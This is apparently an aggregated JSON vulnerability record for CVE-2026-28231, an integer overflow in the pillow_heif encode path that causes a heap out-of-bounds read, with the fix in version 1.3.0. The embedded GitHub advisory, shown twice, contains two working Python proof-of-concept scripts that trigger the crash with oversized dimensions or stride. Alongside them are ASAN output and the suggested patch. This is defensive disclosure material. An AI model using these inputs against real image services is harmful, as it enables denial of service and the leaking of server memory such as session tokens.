{"id":"CVE-2026-28231","aliases":["EUVD-2026-9061","GHSA-5gjj-6r7v-ph3x","PYSEC-2026-2248","PYSEC-2026-2258","openSUSE-SU-2026:10285-1"],"status":"published","title":"pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00703,"percentile":0.53766,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-125","CWE-190"],"published":"2026-02-27T20:13:45Z","modified":"2026-11-11T02:48:47Z","fixes":[{"ecosystem":"PyPI","package":"pi-heif","fixed_in":["1.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"PyPI","package":"pillow-heif","fixed_in":["1.3.0"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-pillow-heif","fixed_in":["1.3.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pi-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"pillow-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pi-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.20.0","0.21.0","0.22.0","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.1.1","1.2.0","1.2.1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}],"versions":["0.1.10","0.1.11","0.1.4","0.1.5","0.10.0","0.10.1","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.2.2","0.2.3","0.2.4","0.2.5","0.20.0","0.21.0","0.22.0","0.3.0","0.3.1","0.3.2","0.4.0","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.1.1","1.2.0","1.2.1"]},{"source":"osv","ecosystem":"PyPI","package":"pi-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}],"versions":["0.10.0","0.10.1","0.11.0","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.20.0","0.21.0","0.22.0","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.1.1","1.2.0","1.2.1"]},{"source":"osv","ecosystem":"PyPI","package":"pillow-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0"}]}],"versions":["0.1.10","0.1.11","0.1.4","0.1.5","0.10.0","0.10.1","0.11.1","0.12.0","0.13.0","0.13.1","0.14.0","0.15.0","0.16.0","0.17.0","0.18.0","0.2.2","0.2.3","0.2.4","0.2.5","0.20.0","0.21.0","0.22.0","0.3.0","0.3.1","0.3.2","0.4.0","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.7.1","0.7.2","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.1.1","1.2.0","1.2.1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-pillow-heif","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.0-1.1"}]}]}],"products":[{"vendor":"bigcat88","product":"pillow-heif"},{"vendor":"bigcat88","product":"pillow_heif"}],"references":[{"url":"https://github.com/bigcat88/pillow_heif/security/advisories/GHSA-5gjj-6r7v-ph3x","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web","evidence"]},{"url":"https://github.com/bigcat88/pillow_heif/commit/8305a15d3780c533b762578cbe987d27a2c59c7a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/bigcat88/pillow_heif/releases/tag/v1.3.0","tags":["x_refsource_MISC","Product","Release Notes","web","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28231","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pi-heif/PYSEC-2026-2248.yaml","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow-heif/PYSEC-2026-2258.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-5gjj-6r7v-ph3x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28231.json","tags":["advisory"]},{"url":"https://github.com/bigcat88/pillow_heif","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28231","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-28231","title":"pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:13:45.195Z","modified":"2026-03-03T20:25:30.145Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-125","CWE-190"],"updated_at":"2026-11-02T14:20:01.969981Z"}],"euvd":[{"id":"EUVD-2026-9061","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:13:45Z","modified":"2026-03-03T20:25:30Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T19:48:11.637968Z"}],"ghsa":[{"id":"GHSA-5gjj-6r7v-ph3x","title":"pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read","description":"### Summary\n\nAn integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.\n\n### Details\n\nThe buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough:\n\n```c\n// _pillow_heif.c, lines 158, 344, 449\nif (stride_in * height \u003e buffer.len) {\n    PyBuffer_Release(\u0026buffer);\n    PyErr_SetString(PyExc_ValueError, \"image plane does not contain enough data\");\n    return NULL;\n}\n```\n\nBoth `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.\n\nFor example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`:\n- True product: 12,884,901,888\n- `int32` product: 0 (wraps around)\n- Comparison: `0 \u003e buffer.len` → `false` → check bypassed\n\nAfter the check is bypassed, the subsequent loop reads beyond the input buffer:\n\n```c\nfor (int i = 0; i \u003c height; i++)\n    memcpy(out + stride_out * i, in + stride_in * i, real_stride);\n```\n\nAdditionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values.\n\nThis vulnerability exists in the **encode path**, which is distinct from the decode path:\n- The decode path is partially guarded by libheif's built-in security limits\n- The encode path has **no such guards** — `DISABLE_SECURITY_LIMITS` is irrelevant\n- The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format=\"HEIF\"` / `format=\"AVIF\"`\n\n**Affected functions** (all in `_pillow_heif.c`):\n- `_CtxWriteImage_add_plane()` — line 158\n- `_CtxWriteImage_add_plane_la()` — line 344\n- `_CtxWriteImage_add_plane_l()` — line 449\n\n**CWE**: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)\n\n### PoC\n\n#### Prerequisites\n\n```bash\npip install pillow-heif Pillow\n```\n\nFor ASAN confirmation:\n\n```bash\n# macOS (Apple Clang)\nCC=\"cc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n\n# Linux (GCC)\nCC=\"gcc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n```\n\n#### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# width=32768, height=32768 =\u003e 1,073,741,824 pixels (within libheif security limit)\n# stride_in = 32768 * 3 = 98304\n# 98304 * 32768 = 3,221,225,472 \u003e INT_MAX (2,147,483,647)\n# int32 overflow: wraps to -1,073,741,824\n# Bounds check: -1,073,741,824 \u003e 1,048,576 → False → BYPASSED\nwidth = 32768\nheight = 32768\nbuffer = b\"\\x00\" * (1024 * 1024)  # 1 MB (real need: ~3 GB)\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), buffer, buf, quality=-1)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept MemoryError as e:\n    print(f\"[*] MemoryError (libheif caught it later): {e}\")\n    print(\"[*] int32 overflow occurred — C-level bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**.\n\n#### Test 2: Explicit stride — small image, immediate crash\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# 100x100 pixels — well within any security limit\n# stride=INT_MAX (2,147,483,647), height=100\n# INT_MAX * 100 overflows int32 → small or negative value\n# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer\nwidth = 100\nheight = 100\nstride_val = 2_147_483_647\nsmall_buffer = b\"\\x00\" * 256\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), small_buffer, buf,\n                       quality=-1, stride=stride_val)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes with **exit code 139 (SIGSEGV)**.\n\n#### ASAN confirmation\n\nWith an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:\n\n```\n==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)\n    #0 0x... in \u003cdeduplicated_symbol\u003e (libclang_rt.asan_osx_dynamic.dylib)\n    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)\n    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)\n    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)\n    ...\n\n0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)\nallocated by thread T0 here:\n    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)\n    ...\n\nSUMMARY: AddressSanitizer: negative-size-param\n  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc\n```\n\nThe overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.\n\n### Impact\n\n**Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:\n\n- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)\n- Content management systems that convert uploaded images to HEIF/AVIF\n- Image processing pipelines that accept user-specified output dimensions\n\n**Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:\n- Other users' request data\n- Python objects (strings, byte arrays)\n- Session tokens, API keys, or other sensitive data from the server's heap\n\n**Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).\n\n**Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations:\n\n```c\n// Before (vulnerable):\nif (stride_in * height \u003e buffer.len) {\n\n// After (fixed):\nif ((Py_ssize_t)stride_in * (Py_ssize_t)height \u003e buffer.len) {\n```\n\n**Prior art**:\n- CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5\n- CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8","status":"published","published":"2026-07-20T19:08:04Z","modified":"2026-07-20T19:08:05Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T14:40:46.257074Z"}],"nvd":[{"id":"CVE-2026-28231","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:21:40.697Z","modified":"2026-06-17T10:28:22.607Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-125","CWE-190"],"updated_at":"2026-11-02T14:12:07.420927Z"}],"osv":[{"id":"CVE-2026-28231","title":"pillow_heif Has Integer Overflow in Encode Path Buffer Validation that Leads to Heap Out-of-Bounds Read","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:13:45.195Z","modified":"2026-11-11T13:30:35.875881167Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-125","CWE-190"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-5gjj-6r7v-ph3x","title":"pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read","description":"### Summary\n\nAn integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.\n\n### Details\n\nThe buffer validation in `_CtxWriteImage_add_plane()`, `_CtxWriteImage_add_plane_la()`, and `_CtxWriteImage_add_plane_l()` uses 32-bit `int` multiplication to check whether the input buffer is large enough:\n\n```c\n// _pillow_heif.c, lines 158, 344, 449\nif (stride_in * height \u003e buffer.len) {\n    PyBuffer_Release(\u0026buffer);\n    PyErr_SetString(PyExc_ValueError, \"image plane does not contain enough data\");\n    return NULL;\n}\n```\n\nBoth `stride_in` and `height` are declared as `int` (32-bit signed). When their product exceeds `INT_MAX` (2,147,483,647), the multiplication overflows before the comparison with `buffer.len` (which is `Py_ssize_t`, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.\n\nFor example, with `stride_in = 196608` (65536 × 3 for RGB) and `height = 65536`:\n- True product: 12,884,901,888\n- `int32` product: 0 (wraps around)\n- Comparison: `0 \u003e buffer.len` → `false` → check bypassed\n\nAfter the check is bypassed, the subsequent loop reads beyond the input buffer:\n\n```c\nfor (int i = 0; i \u003c height; i++)\n    memcpy(out + stride_out * i, in + stride_in * i, real_stride);\n```\n\nAdditionally, `real_stride = width * n_channels` (e.g., line 148: `real_stride = width * 3`) is also computed as `int * int`, which can independently overflow for large `width` values.\n\nThis vulnerability exists in the **encode path**, which is distinct from the decode path:\n- The decode path is partially guarded by libheif's built-in security limits\n- The encode path has **no such guards** — `DISABLE_SECURITY_LIMITS` is irrelevant\n- The encode path is reachable whenever an application calls `pillow_heif.encode()` or saves an image via Pillow with `format=\"HEIF\"` / `format=\"AVIF\"`\n\n**Affected functions** (all in `_pillow_heif.c`):\n- `_CtxWriteImage_add_plane()` — line 158\n- `_CtxWriteImage_add_plane_la()` — line 344\n- `_CtxWriteImage_add_plane_l()` — line 449\n\n**CWE**: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)\n\n### PoC\n\n#### Prerequisites\n\n```bash\npip install pillow-heif Pillow\n```\n\nFor ASAN confirmation:\n\n```bash\n# macOS (Apple Clang)\nCC=\"cc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n\n# Linux (GCC)\nCC=\"gcc -fsanitize=address -fno-omit-frame-pointer -g\" pip install --no-binary pillow-heif pillow-heif\n```\n\n#### Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# width=32768, height=32768 =\u003e 1,073,741,824 pixels (within libheif security limit)\n# stride_in = 32768 * 3 = 98304\n# 98304 * 32768 = 3,221,225,472 \u003e INT_MAX (2,147,483,647)\n# int32 overflow: wraps to -1,073,741,824\n# Bounds check: -1,073,741,824 \u003e 1,048,576 → False → BYPASSED\nwidth = 32768\nheight = 32768\nbuffer = b\"\\x00\" * (1024 * 1024)  # 1 MB (real need: ~3 GB)\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), buffer, buf, quality=-1)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept MemoryError as e:\n    print(f\"[*] MemoryError (libheif caught it later): {e}\")\n    print(\"[*] int32 overflow occurred — C-level bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes the process with **exit code 138 (SIGBUS)** or **139 (SIGSEGV)**.\n\n#### Test 2: Explicit stride — small image, immediate crash\n\n```python\nimport pillow_heif\nfrom io import BytesIO\n\n# 100x100 pixels — well within any security limit\n# stride=INT_MAX (2,147,483,647), height=100\n# INT_MAX * 100 overflows int32 → small or negative value\n# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer\nwidth = 100\nheight = 100\nstride_val = 2_147_483_647\nsmall_buffer = b\"\\x00\" * 256\n\nbuf = BytesIO()\ntry:\n    pillow_heif.encode(\"RGB\", (width, height), small_buffer, buf,\n                       quality=-1, stride=stride_val)\n    print(\"[!] encode() succeeded — bounds check was bypassed\")\nexcept ValueError as e:\n    print(f\"[-] ValueError (bounds check worked): {e}\")\n```\n\nWithout ASAN, this crashes with **exit code 139 (SIGSEGV)**.\n\n#### ASAN confirmation\n\nWith an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:\n\n```\n==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)\n    #0 0x... in \u003cdeduplicated_symbol\u003e (libclang_rt.asan_osx_dynamic.dylib)\n    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)\n    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)\n    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)\n    ...\n\n0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)\nallocated by thread T0 here:\n    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)\n    ...\n\nSUMMARY: AddressSanitizer: negative-size-param\n  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc\n```\n\nThe overflow in `stride_in * height` (98304 × 32768 = 3,221,225,472) wraps to `-1,073,741,824` in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to `memcpy` as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.\n\n### Impact\n\n**Who is impacted**: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:\n\n- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)\n- Content management systems that convert uploaded images to HEIF/AVIF\n- Image processing pipelines that accept user-specified output dimensions\n\n**Information Disclosure (Heartbleed-like)**: The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:\n- Other users' request data\n- Python objects (strings, byte arrays)\n- Session tokens, API keys, or other sensitive data from the server's heap\n\n**Denial of Service**: When `memcpy` reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).\n\n**Suggested fix**: Cast operands to `Py_ssize_t` before multiplication at all three locations:\n\n```c\n// Before (vulnerable):\nif (stride_in * height \u003e buffer.len) {\n\n// After (fixed):\nif ((Py_ssize_t)stride_in * (Py_ssize_t)height \u003e buffer.len) {\n```\n\n**Prior art**:\n- CVE-2024-5197 (libvpx): integer overflow in `vpx_img_alloc()`, CVSS 7.5\n- CVE-2024-5171 (libaom): integer overflow in `aom_img_alloc()`, CVSS 9.8","status":"published","published":"2026-07-20T19:08:04Z","modified":"2026-07-20T19:15:27.655329502Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-125"],"updated_at":"2026-11-02T15:46:38.213481Z"},{"id":"PYSEC-2026-2248","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:21:40.697Z","modified":"2026-07-13T07:26:30.359630077Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"PYSEC-2026-2258","description":"pillow_heif is a Python library for working with HEIF images and plugin for Pillow. Prior to version 1.3.0, an integer overflow in the encode path buffer validation of `_pillow_heif.c` allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings. Version 1.3.0 fixes the issue.","status":"published","published":"2026-02-27T20:21:40.697Z","modified":"2026-07-13T07:26:30.359630077Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"openSUSE-SU-2026:10285-1","title":"python311-pillow-heif-1.3.0-1.1 on GA media","description":"These are all security issues fixed in the python311-pillow-heif-1.3.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-04T00:00:00Z","modified":"2026-03-23T04:54:38.965098Z","updated_at":"2026-11-02T16:58:38.101535Z"}]}}
